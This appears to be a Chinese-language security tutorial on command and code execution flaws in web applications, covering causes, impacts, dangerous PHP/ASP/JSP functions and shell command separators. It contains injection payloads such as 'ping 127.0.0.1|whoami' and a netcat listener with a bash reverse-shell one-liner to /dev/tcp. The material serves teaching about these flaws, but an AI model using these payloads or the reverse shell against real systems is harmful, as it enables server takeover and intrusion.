命令执行概念:

  • 当应用需要调用外部程序去处理内容的情况下,就会用到一些可以执行系统命令的函数,如PHP中的system,exec,shell_exec等,当用户可以控制执行系统命令的函数的参数时候,将可注入的恶意命令到正常的命令中,就会导致命令执行攻击。

漏洞成因:

  • 由于脚本语言的简洁,方便,但同时看也会伴随一些问题,比如速度慢,无法解除系统底层,当我们需要开发除web端的特殊功能的时候,这时候就需要引用外部程序。

原理:

  • 在操作系统中,“&,|,||”都可以作为命令连接符来使用,用户通过浏览器提交执行命令,而服务端没有对执行函数进行过滤,这就导致了没有绝对路径的情况下就执行 了命令。

危害:

  • 1、继承web应用程序的权限,执行命令。
  • 2、读写文件
  • 3、反弹shell
  • 4、控制整个服务器和网站
  • 5、渗透内网

常用的命令执行函数:

  • PHP:
命令执行函数

漏洞利用:

  • | 命令管道符
  • <>>> 文件重定向符
  • 测试: 0 | dir c: 代码只过滤了部分特殊字符,可以考虑用其他字符进行测试,这边列举一下Window/Linux可利用的特殊字符:
  • windows支持:|     直接执行后面的语句      ping 127.0.0.1|whoami          
  • ||    前面出错执行后面的 ,前面为假       ping  2 || whoami 
  • &   前面的语句为假则直接执行后面的,前面可真可假           ping 127.0.0.1&whoami&&前面的语句为假则直接出错,后面的也不执行,前面只能为真    ping 127.0.0.1&&whoami
  • Linux支持:;     前面的执行完执行后面的      ping 127.0.0.1;whoami  
  • |     管道符,显示后面的执行结果   ping 127.0.0.1|whoami            
  • ||   当前面的执行出错时执行后面的   ping 1||whoami  
  • &   前面的语句为假则直接执行后面的,前面可真可假         ping 127.0.0.1&whoami
  • &&前面的语句为假则直接出错,后面的也不执行,前面只能为真    ping 127.0.0.1&&whoami

nc反弹shell:

监听:nc -lnvp 8989
反弹:bash -i >& /dev/tcp/ip地址/8989 0>&1

命令执行例子:jsp的Struts2框架

命令执行例子

代码执行概念:

  • 当应用在调用将字符串转化为代码的函数时,没有考虑到用户是否能够控制这个字符串,所以这就将造成代码执行。

代码执行常用函数:

  • php中:
eval,assert,preg_replace('/*/e'|'$ret = "\\1";',$data);
  • asp中:
eval,exevute,executeglobal
  • jsp中:jsp中没有php中的eval函数,但是可以使用反弹机制,使用基于反弹机制的表达式引擎,如0GNL,SpEL,MVEL等。
代码执行&&命令执行函数

注:本文章只用于学习交流使用!

发表评论